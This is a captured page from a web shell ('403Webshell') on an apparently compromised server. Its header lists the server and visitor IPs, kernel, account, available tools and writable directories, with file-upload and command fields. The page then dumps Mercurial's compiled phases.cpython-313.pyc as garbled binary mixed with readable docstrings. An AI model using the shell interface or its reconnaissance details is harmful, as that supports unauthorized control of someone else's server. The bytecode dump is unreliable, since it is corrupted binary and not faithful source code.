403Webshell
Server IP : 74.208.236.52  /  Your IP : 216.73.217.98
Web Server : Apache
System : Linux infong527 4.4.400-icpu-115 #2 SMP Mon Jul 6 08:15:05 UTC 2026 x86_64
User : u44043973 ( 5404757)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/mercurial/__pycache__/phases.cpython-313.pyc
�

6�hƬ���%SrSSKJr SSKrSSKrSSKrSSKrSSKJrJrJ	r	J
r
JrJrJ
r
JrJrJr SSKJr SSKJrJrJrJrJr SSKJrJrJrJrJr \
\\\4r \
\\\4r!\RD(a.SS	K#J$r$ SS
KJ%r%J&r' \'/(de\\\%RP\ /\ 4r)\RT"S5r+Sr,S\-S
'Sr.S\-S'Sr/S\-S'Sr0Sr1\,\.\/\0\14r2\.\/\0\14r3\3r4/SQr5\6"\7"\555r8S\8\0'S\8\1'\8Rs5VVs0sHupX_M	 snnr:S\-S'\:Rw5r<S\-S'\<R{\8Vs0sHoU_M sn5 \<R{\8Vs0sH	nSU-U_M sn5 \.\/\0\14r>\.\/4r?\/\0\14r@\1\04rA\B"S\255rC\CrDS5SjrES5SjrFS6S7SjjrGS8SjrHS9S jrIS!rJS"rKS#rLS$rM"S%S&5rNS:S'jrOS(rPS)rQS;S*jrRS<S+jrSS,rTS-rUS=S.jrV"S/S05rWS>S1jrXS?S2jrYS5S3jrZS@S4jr[gs snnfs snfs snf)Aa�Mercurial phases support code

    ---

    Copyright 2011 Pierre-Yves David <pierre-yves.david@ens-lyon.org>
                   Logilab SA        <contact@logilab.fr>
                   Augie Fackler     <durin42@gmail.com>

    This software may be used and distributed according to the terms
    of the GNU General Public License version 2 or any later version.

    ---

This module implements most phase logic in mercurial.


Basic Concept
=============

A 'changeset phase' is an indicator that tells us how a changeset is
manipulated and communicated. The details of each phase is described
below, here we describe the properties they have in common.

Like bookmarks, phases are not stored in history and thus are not
permanent and leave no audit trail.

First, no changeset can be in two phases at once. Phases are ordered,
so they can be considered from lowest to highest. The default, lowest
phase is 'public' - this is the normal phase of existing changesets. A
child changeset can not be in a lower phase than its parents.

These phases share a hierarchy of traits:

            immutable shared
    public:     X        X
    draft:               X
    secret:

Local commits are draft by default.

Phase Movement and Exchange
===========================

Phase data is exchanged by pushkey on pull and push. Some servers have
a publish option set, we call such a server a "publishing server".
Pushing a draft changeset to a publishing server changes the phase to
public.

A small list of fact/rules define the exchange of phase:

* old client never changes server states
* pull never changes server states
* publish and old server changesets are seen as public by client
* any secret changeset seen in another repository is lowered to at
  least draft

Here is the final table summing up the 49 possible use cases of phase
exchange:

                           server
                  old     publish      non-publish
                 N   X    N   D   P    N   D   P
    old client
    pull
     N           -   X/X  -   X/D X/P  -   X/D X/P
     X           -   X/X  -   X/D X/P  -   X/D X/P
    push
     X           X/X X/X  X/P X/P X/P  X/D X/D X/P
    new client
    pull
     N           -   P/X  -   P/D P/P  -   D/D P/P
     D           -   P/X  -   P/D P/P  -   D/D P/P
     P           -   P/X  -   P/D P/P  -   P/D P/P
    push
     D           P/X P/X  P/P P/P P/P  D/D D/D P/P
     P           P/X P/X  P/P P/P P/P  P/P P/P P/P

Legend:

    A/B = final state on client / state on server

    * N = new/not present,
    * P = public,
    * D = draft,
    * X = not tracked (i.e., the old client or server has no internal
          way of recording the phase.)

    passive = only pushes


    A cell here can be read like this:

    "When a new client pushes a draft changeset (D) to a publishing
    server where it's not present (N), it's marked public on both
    sides (P/P)."

Note: old client behave as a publishing server with draft only content
- other people see it as public
- content is pushed as draft

�)�annotationsN)
�Any�Callable�
Collection�Dict�Iterable�List�Optional�Set�Tuple�overload�)�_)�bin�hex�nullrev�short�wdirrev)�error�requirements�smartset�txnutil�util)�Literal)�	localrepo�uis>i20s�int�public�draft��secret� �`)spublicsdraftssecretsarchivedsinternalzdict[bytes, int]�phasenumberzdict[bytes | int, int]�phasenumber2�%ic#�D# �UHo[-(dMUv� M g7f�N)�internal)�.0�ps  �2/usr/lib/python3/dist-packages/mercurial/phases.py�	<genexpr>r-�s���A�y�!��L�A�A�y�s� �	 c�<�[RUR;$)z6True if the internal phase can be used on a repository)r�INTERNAL_PHASE_REQUIREMENT��repos r,�supportinternalr2�����2�2�d�6G�6G�G�G�c�<�[RUR;$)z6True if the archived phase can be used on a repository)r�ARCHIVED_PHASE_REQUIREMENTr0s r,�supportarchivedr7�r3r4c��UR5nSn[Vs0sH
o3[5_M nnURRR
nSn[R"URURS5upxUHvn	U	R5up�[U
5n[U5n
U"U
5nUc-URRU[U5U4-5 SnMcXLR!U5 Mx UR#5 XB4$s snf!UR#5 f=f![$a U(aUHnU"X5nM
 SnXB4$f=f)arRead phase roots from disk

phasedefaults is a list of fn(repo, roots) callable, which are
executed if the phase roots file does not exist. When phases are
being initialized on an existing repository, this could be used to
set selected changesets phase to something else than public.

Return (roots, dirty) where dirty is true if roots differ from
what is being stored.
Fs0removing unknown node %s from %i-phase boundary
�
phaserootsT)�
unfiltered�	allphases�set�	changelog�index�get_revr�
trypending�root�svfs�splitrrr�debugr�add�close�FileNotFoundError)r1�
phasedefaults�dirty�i�roots�to_rev�unknown_msg�f�pending�line�	str_phase�hex_node�phase�node�revs               r,�
_readrootsrV�s2���?�?��D��E�+4�5�9�a�C�E��9�E�5�
�^�^�
!�
!�
)�
)�F�F�K���'�'��	�	�4�9�9�m�L�
��	���&*�j�j�l�#�	��I����8�}���T�l���;��G�G�M�M�+��x��%�0H�"H�I� �E��L�$�$�S�)��
�G�G�I��<���/6��"
�G�G�I�����"���$���#����<���s0�D�.D,�A<D�?D,�D)�)D,�,$E�Ec��/nUR5H2up#UH'nUR[RX$55 M) M4 SR	U5$)zoencode a 'phase -> nodes' mapping into a binary stream

The revision lists are encoded as (phase, root) pairs.
r4)�items�append�
_fphasesentry�pack�join)�phasemapping�
binarydatarS�nodes�heads     r,�binaryencodera�sR��
�J�$�*�*�,����D����m�0�0��=�>��-��8�8�J��r4c�D�[Vs0sHo/_M nn[RnURU5n[	U5U:a)U(a[
R"[S55eU$[RU5upVX%RU5 Mus snf)z�decode a binary stream into a 'phase -> nodes' mapping

The (phase, root) pairs are turned back into a dictionary with
the phase as index and the aggregated roots of that phase as value.sbad phase-heads stream)
r;rZ�size�read�lenr�Abortr�unpackrY)�streamrJ�headsbyphase�	entrysize�entryrSrTs       r,�binarydecoderls���
$-�-�9�a�r�E�9�L�-��"�"�I�
����I�&���u�:�	�!���k�k�!�$=�">�?�?����$�*�*�5�1�����"�"�4�(���.s�Bc���SnU(aXS-
upVUSS-U:H=(a Xc:HnSnU[U5:aXup�USUS-:H=(a X�:HnU(a5U(a.[WSWSS-5U4XS-
'URU5 gU(a[WSUS-5U4XS-
'gU(a[UWSS-5U4X'gURU[X"S-5U45 g)NFr���r)re�range�pop�insert)
�data�idxrU�t�merge_before�r1�t1�merge_after�r2�t2s
          r,�_sortedrange_insertr{s����L�
��A�g�����"�v��z�S�(�4�R�W���K�
�S��Y��������e�s�Q�w�&�2�2�7�����r�!�u�b��f�q�j�1�1�5��1�W�
�����
�	��r�!�u�c�A�g�.��2��1�W�
�	��3��2���
�+�Q�/��	����C�%��1�W�-�q�1�2r4c��XupEX5:XagUSUS4n[U5S:XaURU5 [XX#5 gUSU:Xa&[US-USS-5U4X'[XX#5 gUSU:Xa#[USU5U4X'[XS-X#5 g[USU5U4[X"S-5U4[US-USS-5U4/XUS-&g)Nrrrn)rerpr{ro)rrrsrUrtrvrws      r,�_sortedrange_splitr}*s���
�Y�F�B��w��	�A���!��
�A�
�2�w�!�|�����
��D�s�.�	�A��#���3��7�B�r�F�Q�J�/��4��	��D�s�.�	�B��3���2�a�5�#�&��+��	��D��'�3�2��2�a�5�#�
��#�
�3�a��
 �!�$�
�3��7�B�r�F�Q�J�
'��,�
��3��7�r4c�"�UcgU(d"URS[XS-5X#445 gSn[U5nX#4nXE:a�XE-S-nXSnUSn	USn
X:�aX::a
[XX5 gX�S-:Xa5U(a!XS-
SSU:Xa[XS-
X5 g[	XX5 gX�S-
:XaCUS-[U5:a!XS-SSU:Xa[XS-X5 g[	XS-X5 gX�:�aUnOUS-nXE:aM�U[U5:Xa UR[XS-5U45 gXup�USU:�a!URU[XS-5U45 gURUS-[XS-5U45 g)zQadd a phase move to the <data> list of ranges

If data is None, nothing happens.
Nrrr rn)rqrorer}r{rY)
rrrU�old�new�low�highrt�mid�revs�revs_low�	revs_highrvrws
             r,�_trackphasechanger�@s���
�|������A��c��7�+�c�Z�8�9��
�C��t�9�D�	�
�A�

�*��z�a����y��|����7����H�	��?�s�/��t�#�1���Q�w���t�!�G�}�Q�'��+�s�2�"�4�q��#�9�
�$�D�s�6���a����Q�w��T��"�t�!�G�}�Q�'7��':�c�'A�"�4�q��#�9�
�$�D��'�3�:���>��D���'�C�7�*�:�c�$�i�����U�3�a��(�!�,�-��
�Y�F�B�	�!�u�s�{����C�%��1�W�-�q�1�2����C�!�G�e�C�q��1�1�5�6r4�dc�N�\rSrSr\R
(a&\SSj5r\SSSjj5rSSjrSSjrSSjr	SSjr
S S!S	jjrS
rSr
SrS
rS"SjrSrS#SjrSrSrSSjrSrS$SjrSrS%SjrS&SjrSrg)'�
phasecachei�c��gr(���selfr1rH�_loads    r,�__init__�phasecache.__init__����
r4c��gr(r�r�s    r,r�r��r�r4c�n�U(a.[X5nUSUlUSUlSUlSUlgg)Nrr)rV�_phaserootsrI�_loadedrevslen�
_phasesets)r�r1rHr��loadeds     r,r�r��s<�����4�F�+1�!�9�D��%�a�y�D�J�"#�D��37�D�O�
r4c�V�[SURR555$)z3detect if there are revisions with non-public phasec3�B# �UHupU[:wdMUv� M g7fr()r)r*rSr�s   r,r-�0phasecache.hasnonpublicphases.<locals>.<genexpr>�s���
�$<�[�U����D�D�$<�s��	)�anyr�rX�r�r1s  r,�hasnonpublicphases�phasecache.hasnonpublicphases�s-���
�$(�$4�$4�$:�$:�$<�
�
�	
r4c���UR5nURU5 [5R"URR5VVs/sHup#U[:wdMUPM snn6$s snnf)z�returns the roots of all non-public phases

The roots are not minimized, so if the secret revisions are
descendants of draft revisions, their roots will still be present.
)r:�_ensure_phase_setsr<�unionr�rXr�r�r1rSr�s    r,�nonpublicphaseroots�phasecache.nonpublicphaseroots�sk����� ������%��u�{�{�$(�#3�#3�#9�#9�#;��#;�K�E��F�?��#;��
�	
��s�A2
�'A2
c���U[:Xa[R"S5eURUR	55 UR
R
U5nUc
[5$U$)z�return the set of revision in that phase

The returned set is not filtered and might contains revision filtered
for the passed repoview.

The returned set might be the internal one and MUST NOT be mutated to
avoid side effect.
zcannot get_set for public phase)rr�ProgrammingErrorr�r:r��getr<r�s    r,�get_raw_set�phasecache.get_raw_set�sW���F�?��(�(�)J�K�K������� 1�2����"�"�5�)���<��5�L��r4Nc�(^^^^�URTR55 [T5m[T;nU(a;[[5RT5mT(d[R"T5$Sm[T5S:XaTunURUmSmO0[R"TVs/sHoPRUPM sn6mUUU4SjnU(doTRR(aTTRR-
mUc[R"T5$U"UT5mU[R"T5-$Uc[R"T5nU"UT5mT(dU$URU4Sj5$s snf)z&return a smartset for the given phasesFrTc�>�[U;aCTSR5T;a,T(aUR5nUR[5 U$r()rrS�copyrE)�
wdirsubset�wdirrevs�phasesr1�
revsneedscopys  ���r,�_addwdir�&phasecache.getrevset.<locals>._addwdir�s@����*�$��d��)9�)9�);�v�)E� �'�}�}��H�
���W�%��Or4c�>�UT;$r(r�)�rr�s �r,�<lambda>�&phasecache.getrevset.<locals>.<lambda>s	���1�D�=r4)r�r:r<rr;�
differencer�fullreposetrer�r�r=�filteredrevs�baseset�filter)	r�r1r��subset�publicphaser+r�r�r�s	 ``    @@r,�	getrevset�phasecache.getrevset�sM���	
������ 1�2��V�����&�����^�.�.�v�6�F���+�+�D�1�1��
��v�;�!���C�Q��?�?�1�%�D� �M��9�9�6�B�6�a���q�1�6�B�C�D�		���~�~�*�*��d�n�n�9�9�9���~��'�'��-�-����-���� 0� 0�� 6�6�6��~�!�-�-�d�3���F�D�)�D���
��=�=�!8�9�9��=Cs�5Fc��URSSSS9nURR5UlURUlURUlUR
c	SUlU$UR
R5UlU$)NF)r�)�	__class__r�r�rIr�r�)r��phs  r,r��phasecache.copy
sz���^�^�D�$�e�^�
4���)�)�.�.�0����:�:��� �/�/����?�?�"� �B�M��	�!�O�O�0�0�2�B�M��	r4c	�@�SHn[X[X55 M g)z4replace all values in 'self' with content of phcache)r�rIr�r�N)�setattr�getattr)r��phcache�as   r,�replace�phasecache.replaces��
�A�
�D�W�W�0�1�

r4c�l�UR5nURRUR5$r()r:r=�
computephasesr�r�s  r,�_getphaserevsnative�phasecache._getphaserevsnative!s)����� ���~�~�+�+�D�,<�,<�=�=r4c���UR5nURn[Vs0sH
o3[5_M snUl[5n[[5HnURUnU(dM[URU55nUHnURU5 M URU5 URU5 X`RU'M� [U5Ul
gs snfr()r:r=r;r<r��reversed�
trackedphasesr��descendantsrE�difference_update�updaterer�)r�r1�clrS�
lowerrootsrK�psrAs        r,�_computephaserevspure� phasecache._computephaserevspure%s������ ��
�^�^��5>�?�Y�E�#�%�<�Y�?����U�
��m�,�E��$�$�U�+�E��u������.�/��!�D��F�F�4�L�"��$�$�Z�0��!�!�"�%�)+����&�-�"�"�g����@s�C.c�:�URbeSnURn[U5nURcSnO6X@R:�a'X@R-
nU[
::a
URnOSnUS:XaGUR
U5nUuUlUlUR[UR5:XdegUS:�Ga�X R:XdeURU5(Ga�URnURnS/W-n	URn
URVs0sH
o�[5_M nnURR5Hup�U
HnX�:�dM
X�X�-
'M M [Xt5H�nX�U-
nU
"U5unnU[ :Xa["nO!UU:�a	U	UU-
nO[%X�"UU55nU[ :Xa["nO!UU:�a	U	UU-
nO[%X�"UU55n[%UUU5nU[":�dM�X�X�-
'X�R'U5 M� UR5H.unnU(dMURUU-URU'M0 X@lgg![a URU5 GN�f=fs snf)z0ensure phase information is loaded in the objectNrnr)�
filternamer=rer�r��(INCREMENTAL_PHASE_SETS_UPDATE_MAX_UPDATEr��AttributeErrorr�r�rS�
parentrevsr<r�rXrorr�maxrE)r�r1r�r��cl_size�missing�res�start�	get_phase�
rev_phases�parentsrS�setsrKr�rU�p1�p2�p1_phase�p2_phase�extras                     r,r��phasecache._ensure_phase_sets5s������&�&�&���
�^�^���b�'���?�?�"��F��,�,�,�
"�$7�$7�7���F�F�!�0�0�F��F��Q�;�
1��.�.�t�4��7:�4��#�T�_��&�&�#�d�n�n�*=�=�=�=�
�a�Z��0�0�0�0�0��&�&�t�,�,��+�+�� �J�J�	��S�7�]�
��-�-��26�/�/�B�/��s�u��/��B�$(�$4�$4�$:�$:�$<�L�E�"���:�49�q�y�1�#�%=�
!��0�C�&�U�{�3�E�$�S�\�F�B���W�}�#)���u��#-�b�5�j�#9��#&�u�i��b�.A�#B���W�}�#)���u��#-�b�5�j�#9��#&�u�i��b�.A�#B����x��:�E��v�~�27�3�;�/������,�%1�,%)�J�J�L�L�E�5��u�15����1G�%�1O�����.�%1�#*��O��"�
1��*�*�4�0�
1��Cs�6 I6�#J�6J�Jc� �SUlSUlg)Nr)r�r�)r�s r,�
invalidate�phasecache.invalidateys�������r4c��U[:Xa[$U[:a[[S55eX R:�aURUR
55 [HnX RU;dMUs $ [$)Nscannot lookup negative revision)	rr�
ValueErrorrr�r�r:r�r�)r�r1rUrSs    r,rS�phasecache.phase}sp���'�>��M���=��Q�A�B�C�C��%�%�%��#�#�D�O�O�$5�6�"�E��o�o�e�,�,���#��
r4c���UR(dgURSSSSS9nURUR5U5 UR	5 g!UR	5 f=f)Nr9�wT)�
atomictemp�
checkambig)rIrB�_writer:rF)r�r1rNs   r,�write�phasecache.write�sO���z�z���I�I�m�T�d�t�I�L��	��K�K����)�1�-�
�G�G�I��A�G�G�I�s� A�A)c	��URbeURRnURR	5H>upE[U5H*nU"U5nUR
SU[U54-5 M, M@ SUlg)Ns%i %s
F)	r�r=rTr�rX�sortedr�rrI)r�r1�fp�to_noderSrKr��hs        r,r��phasecache._write�su�����&�&�&��.�.�%�%�� �,�,�2�2�4�L�E��E�]���A�J������u�c�!�f�o�5�6�#�5���
r4c�^^�UTRU'STlU(aTR5 URbe[R
"U5mUU4SjnUR
SSU5 SURS'g)NTc�@>�T"5nUceTRX5 gr()r�)r�r1r��wrepos  ��r,�tr_write�)phasecache._updateroots.<locals>.tr_write�s"����7�D��#�#�#��K�K��!r4�phase)r9�1sphases_moved)r�rIr�r��weakref�ref�addfilegenerator�hookargs)r�r1rS�newroots�trr�rrs`      @r,�_updateroots�phasecache._updateroots�sm���"*��������
���O�O�����&�&�&����D�!��	"�
	���H�&6��A�'+����O�$r4c��UR5nURXU/US9 UbRSUR;aBURSnURn[	U5HnU"X5n[XWSU5 M UR
5 g)N)r��phases)r:�_retractboundary�changesrSr�r��invalidatevolatilesets)	r�r1r�targetphaser��
phasetrackingrSrU�revphases	         r,�registernew�phasecache.registernew�s~����� �����d��R�d��C�
�>�i�2�:�:�5��J�J�y�1�M��J�J�E��d�|�� ��+��!�-�d�H�E�$�	
�#�#�%r4c	�0	^^^#�T[:Xa TRU5(d
[5$UR5nURnUR
Rm#[5nUbURU5 UbURU#4SjU55 U(d
[5$UcSn	OURRS5n	[UU4Sj[55n
Un[5nTRU5 U
H&nUTRU-n
X�-nX�-nU(aM& O U(d
[5$[U5n[Rn[R nUR"nTR$n0n[5nU
Vs0sHnU[5_M nn[5nUVs/sHnU*PM nn[R&"U5 U(a�U"U5*nU"UU5nUUU'U"U5unnU[(:Xa[nO	U"UU5nU[(:Xa[nO	U"UU5nUU:waUU:waUR+U5 UT:�a!UU;aUR+U5 U"UU*5 UT:�a!UU;aUR+U5 U"UU*5 UT:aUT:aUR+U5 U(aM�WnU[-U5-[-U5:a�[/U[-U55H�nUU;aMU"UU5nUT::aMU"U5unnUU;dUU;dM5U[(:waUU;aU"UU5nUU:XaMVU[(:waUU;aU"UU5nUU:XaMwUUR+U5 M� U(d�UR15Hunn[3U	UUT5 M T[:�aTRTRU5 U
HenTR4Un U U-n!U!(dUU(dM*TRUR7U5 U U-
UU-n"TR9XU"USS9 Mg U(a%UTR4T-nTR9UTUUSS9 UR;5 U$s snfs snf)z�Set all 'nodes' to phase 'targetphase'

Nodes with a phase lower than 'targetphase' are not affected.

If dryrun is True, no actions will be performed

Returns a set of revs whose phase is changed or should be changed
Nc3�4># �UH
nT"U5v� M g7fr(r��r*rT�torevs  �r,r-�-phasecache.advanceboundary.<locals>.<genexpr>������:�E�D�E�$�K�K�E���rc3�b># �UH$oT:�dM
TRU(dM Uv� M& g7fr()r�)r*r+r�rs  ��r,r-r�s)����#
� �!��O�A��8H�8H��8K�A�A�y�s�	/�/�	/F�r�)rr�r<r:r=r>rUr�rr�r�r;r�r��heapq�heappush�heappopr�rS�heapifyrrErerorXr�r�r�rr)$r�r1rrr_r��dryrunr��new_revsr�affectable_phases�
candidatesrS�found�seen�pushrpr�r��changed�delrootsr+�	new_roots�new_target_rootsr��current�
current_phaser�r�r�r��min_currentrK�removed�final_rootsrs$`  `                               @r,�advanceboundary�phasecache.advanceboundary�sk����&� ��)@�)@��)F�)F��5�L���� ��
�^�^���������5�����O�O�D�!����O�O�:�E�:�:����
��:� �M��J�J�N�N�9�5�M�"�#
� �#
�
���
��5������%�&�E������!7�7�E���H���J��:��'���5�L��8�}���~�~���m�m���-�-���J�J�	����5��'8�9�'8�!�Q���X�'8�	�9��5��$�%�H�q���H��%�
�
�
�d����4�y�j�G�%�d�G�4�M�,�G�G���W�%�F�B���W�}�!��$�T�2�.���W�}�!��$�T�2�.����(�]�h�-F����W�%��+�%�"�D�.�������T�B�3���+�%�"�D�.�������T�B�3���+�%�(�[�*@� �$�$�W�-�7�d�<���#�g�,�&�#�b�'�1��;��B��0����<��!�$��*���K�'�� �����B��g�
��w�����=�R�w�%6�(��r�2�H��5�(� ���=�R�w�%6�(��r�2�H��5�(� ��%� �$�$�Q�'�#1�(��
�
����1�!�-��A�{�C�(��V�#�����,�3�3�G�<�*���(�(��/���(�*���i��.�.��O�O�E�*�<�<�W�E�#(�(�"2�Y�u�5E�"E�K��%�%��[�"��&��+� �!�D�$4�$4�[�$A�A� ��!�!��+�'7���"��
�'�'�)����e:��&s�R�:
Rc��UcSnOURRS5nUR5nURXX45nU(a1Ub.[	UR55Hupx[
XWX�5 M UR5 g)Nr)rr�r:rr�rXr�r)	r�r1rrr_r�	retractedr��	old_phases	         r,�retractboundary�phasecache.retractboundaryLsr��
�:� �M��J�J�N�N�9�5�M���� ���)�)�$�K�G�	���2� &�y���'8� 9���!�-�I�K�!:��#�#�%r4c	�l^"�U[:Xa0$U[:Xa[U5(aU[:Xa4[	U5(d$[
UnSU-n[R"U5eURbeURnURRm"[5n	UbU	RU5 UbU	RU"4SjU55 U	(d0$[U	;a[R"[!S55eUR#U5 UR$R'5Hup�X�:�dMX�-n	M U	(d0$UR(nUR*n
[5n0n
[5nUR,Un[/U	5n[1U5nS/UU-
-nUR$Un[3UU5GHEnU
"UU5nSnU"U5unnUU:�a
UUU-
nUbUnUU:�aUUU-
nUbUb
[5UU5nOUnUU	;a?UU:a9UbUU:aUR7U5 UUUU-
'UU
U'UR7U5 O]Uc	UUUU-
'OQUU:�a	UUUU-
'OUUUU-
'UU:Xa4UU:�aUU
U'UR7U5 OUU;aUR7U5 UR$nU[8:�dGMU
R'5H&unnU[:�dMUUR;U5 M( GMH U(a�U
(deX�U-
-nUR=UUUUSS9 US:�ab[U
5n[3SU5HGnUR,R?U5n U cM#U U-(dM/U U-
n!UR=UUU!USS9 MI U
$U
(aeU(ae0$)Ns-this repository does not support the %s phasec3�4># �UH
nT"U5v� M g7fr(r�rs  �r,r-�.phasecache._retractboundary.<locals>.<genexpr>kr r!s!cannot change null revision phaseFr#r) rr)r2�archivedr7�
phasenamesrr�r�r=r>rUr<r�rrfrr�r�rXr�rSr��minreror�rEr�discardrr�)#r�r1rrr_r��name�msgr�r)rSr�r1�changed_revs�replaced_roots�currentrootsr��endr��this_phase_setr��r_phase�p_phaser�r�r�r�r�rr7r;�lower_phase�lower_roots�
simpler_rootsrs#                                  @r,r�phasecache._retractboundaryXs�����&� ��I��8�#�#�D�)�)��h�&�#�D�)�)��k�*�D�B�T�I�C��(�(��-�-����&�&�&�
�^�^���������5�����O�O�D�!����O�O�:�E�:�:���I��h���+�+�a� D�E�F�F�	
����%��?�?�0�0�2�K�E��#�� ��3���I�*�-�-���
�
���E�	�������'�'��4���H�
���"�g���V�s�U�{�+�
�����5���u�c�"�A��D�!�n�G��G��Q�Z�F�B���U�{�%�b�5�j�1���'�&�G��U�{�%�b�5�j�1���'��*�"%�g�x�"8��"*���H�}��;�!6��?�g��&;��M�M�!�$�(3�
�1�u�9�%�")��Q���"�"�1�%���(/�
�1�u�9�%��W�$�,3�J�q�5�y�)�,3�J�q�5�y�)��k�)���(�*1��Q��&�*�*�1�-��l�*�&�*�*�1�-��?�?�D��U�"�*�0�0�2�F�A�s��V�|��S�	�)�)�!�,�3�O#�V���<�#�^�&C�C�K�������� �
�
��Q����-�	�#(��K�#8�K�"&�"2�"2�"6�"6�{�"C�K�"�*� �"�Y�.�.�(3�i�(?�
��)�)� �'�)��',�*��
$9� ��#�#�#�%�%�%��Ir4c���[URR55H<upEUVs1sHofU:�dM
UiM nnU(dM'URXXW-
U5 M> UR	5 gs snf)zdannounce a strip to the phase cache

Any roots higher than the stripped revision should be dropped.
N)�listr�rXrr�)r�r1r�	strip_revrrKr��filtereds        r,�register_strip�phasecache.register_strip�si��#'�t�'7�'7�'=�'=�'?�"@��K�#(�;�5�a��N��5�H�;��x��!�!�$�U�5E�r�J�#A�	
�����<s
�	A5�A5)r�r�r�rI)r1rrHrr�zLiteral[False]�return�None)T)r1�localrepo.localrepositoryrH�Optional[Phasedefaults]r��boolrYrZ�r1r[rYr])r1r[rY�Set[int])r1r[rSrrYr_r()r1r[r�z
Iterable[int]r�z
Optional[Any]rYr)r1r[rYrZ)r1r[rUrrYr)NNN�NN)rUr)�__name__�
__module__�__qualname__�__firstlineno__�typing�
TYPE_CHECKINGr
r�r�r�r�r�r�r�r�r�r�r�rSr�r�rrr8r=rrW�__static_attributes__r�r4r,r�r��sJ��
���	�	��	��	�"�		�
�	�
�	�
�
�		�+�	�3�	��		�
�	�
�	��	8�
�
� �'����
�	�2!%�	9:�'�9:��9:��	9:�


�9:�v�2�>�&� B*�H��&��,�"	&�DH�L�\
&�I�V��	r4r�c	��Uc/nURR5nURXX#XES9nU(dURRU5 U$)a]Add nodes to a phase changing other nodes phases if necessary.

This function move boundary *forward* this means that all nodes
are set in the target phase or kept in a *lower* phase.

Simplify boundary to contains phase roots only.

If dryrun is True, no actions will be performed

Returns a set of revs whose phase is changed or should be changed
)r�r()�_phasecacher�r8r�)r1rrr_r�r(r�rs        r,r8r8�s\���|������#�#�%�G��%�%��+�4�&��G����� � ��)��Nr4c��URR5nURXX#5 URRU5 g)z�Set nodes back to a phase changing other nodes phases if
necessary.

This function move boundary *backward* this means that all nodes
are set in the target phase or kept in a *higher* phase.

Simplify boundary to contains phase roots only.N)rir�r=r�)r1rrr_r�s     r,r=r=s<�����#�#�%�G����D�k�9������W�%r4c��URR5nURXX#5 URRU5 g)z�register a new revision and its phase

Code adding revisions to the repository should use this function to
set new changeset in their target phase (or higher).
N)rir�rr�)r1rrr�r�s     r,rrs<�����#�#�%�G�����+�4������W�%r4c�z�[R"5nS[-nUR5RnUR
nURR[H;nURRX5[::dM(X![U"U55'M= UR5(aSUS'U$)�/List phases root for serialization over pushkeyr&sTrue�
publishing)r�sortdictrr:r=rTrir�rSr�
publishing)r1�keys�valuer�r�rAs      r,�
listphasesrs#s����=�=�?�D��E�M�E�	
���	�	$�	$�B��g�g�G�� � �,�,�U�3�����!�!�$�-��6�',��W�T�]�#�$�4������"&��]���Kr4c
��UR5nUR5 XR5n[[	U55n[[	U55nXF:Xa@XV:a;URS5n[
XU[U5/5 SSS5 SSS5 gXE:Xa
SSS5 gSSS5 g!,(df   N1=f!,(df   g=f)rms
pushkey-phaseNTF)r:�lockrS�absr�transactionr8r)r1�nhex�oldphasestr�newphasestr�currentphase�newphase�oldphasers        r,�	pushphaser~Cs����?�?��D�	
�����z�'�'�)���s�;�'�(���s�;�'�(���#��(;��!�!�"2�3�r���(�S��Y�K�@�4��
���
%��
���
��
4�3��
��s0�AC�7B:�	C�!C�0C�:
C	�C�
Cc���URn[Vs0sHo3/_M nn[H:nSU-nURXa5Vs/sHorRU5PM snXE'M< U$s snfs snf)z�Finds the phase heads for a subset of a history

Returns a list indexed by phase number where each item is a list of phase
head nodes.
sheads(%%ln & _phase(%d)))r=r;r�rT)r1r�r�rJrirS�revsetr�s        r,�subsetphaseheadsr�Zsr��
���B�#,�-�9�a�r�E�9�L�-���,�u�4��37�9�9�V�3L�M�3L�a�w�w�q�z�3L�M�������	.��Ns�A)�A.c���[HQnSnURXBUU5Vs/sHoUR5PM nnU(dM@[X"5X65 MS gs snf)z+Updates the repo with the given phase headss%ln - _phase(%s)N)r;r<rTr8)r1�trgetterrirSr��c�headss       r,�updatephasesr�isS����$��#'�8�8�F��4G��#O�P�#O�a����#O��P��5��D�(�*�e�;�	��Ps�Ac�$�UR5n/nURRRnUR	5H�upVUS:XaM
[U5n[
U5nU[:Xa;XpR:wa*[S5nURRX�-5 MfMhU[:Xa U"U5n	U	bURU	5 M�M�[S5nURRX�U4-5 M� [XU5n
X�4$)z�Compute phases heads and root in a subset of node from root dict

* subset is heads of the subset
* roots is {<nodeid> => phase} mapping. key and value are string.

Accept unknown element input
rns2ignoring inconsistent public root from remote: %s
s,ignoring unexpected root from remote: %i %s
)r:r=r>r?rXrrr�nullidrr�warnrrY�	new_heads)r1r�rK�draft_rootsrLrxrSrTrGrU�public_headss           r,�analyze_remote_phasesr�ws����?�?��D��K�
�^�^�
!�
!�
)�
)�F��{�{�}����=� ���4�y���E�
���F�?��{�{�"��N�O�������S�Z�(�#��e�^���,�C����"�"�3�'���D�E�C��G�G�L�L��t�}�,�-�%�"�T�;�7�L��$�$r4c�*�\rSrSrSrSSjrSrg)�RemotePhasesSummaryi�asummarize phase information on the remote side

:publishing: True is the remote is publishing
:public_heads: list of remote public phase heads (revs)
:draft_heads: list of remote draft phase heads (revs)
:draft_roots: list of remote draft phase root (revs)
c���UR5nX0l[URSS55Ul[XU5upVXPlX`lURSXb5nXpl	g)NrnFsheads(%ld::%ld))
r:�_allremoterootsr]r�rpr�r�r�r��draft_heads)r�r1�
remote_subset�remote_roots�unfir�rK�dheadss        r,r��RemotePhasesSummary.__init__�s`����� ��3?�� $�\�%5�%5�m�U�%K� L���,�T�,�O���-2��,1�����-�u�D��,2�r4)r�r�r�r�rpN)r��Collection[int]r��Dict[bytes, bytes])rarbrcrd�__doc__r�rgr�r4r,r�r��s ���3�'�3�)�	3r4r�c��SSKJn U(dU$U(aU[/:Xa/$[U5nUR	[5 URSX$5nUR
U5 URSX%5nXe-nU(dU(aFURU5 URSU5nURXU5nUR
U5 [U5$)z�compute new head of a subset minus another

* `heads`: define the first subset
* `roots`: define the second we subtract from the firstr)�dagops
(%ld::%ld)s-parents(%ld + (%ld and merge())) and not nullsparents(%ld) and not null)
�r�rr<rEr�r�r��reachablerootsr�)	r1r�rKr�r��
affected_zoner+�
prunestart�pruneds	         r,r�r��s��������E�g�Y�&��	��E�
�I�
���g���I�I�m�U�>�M�
���
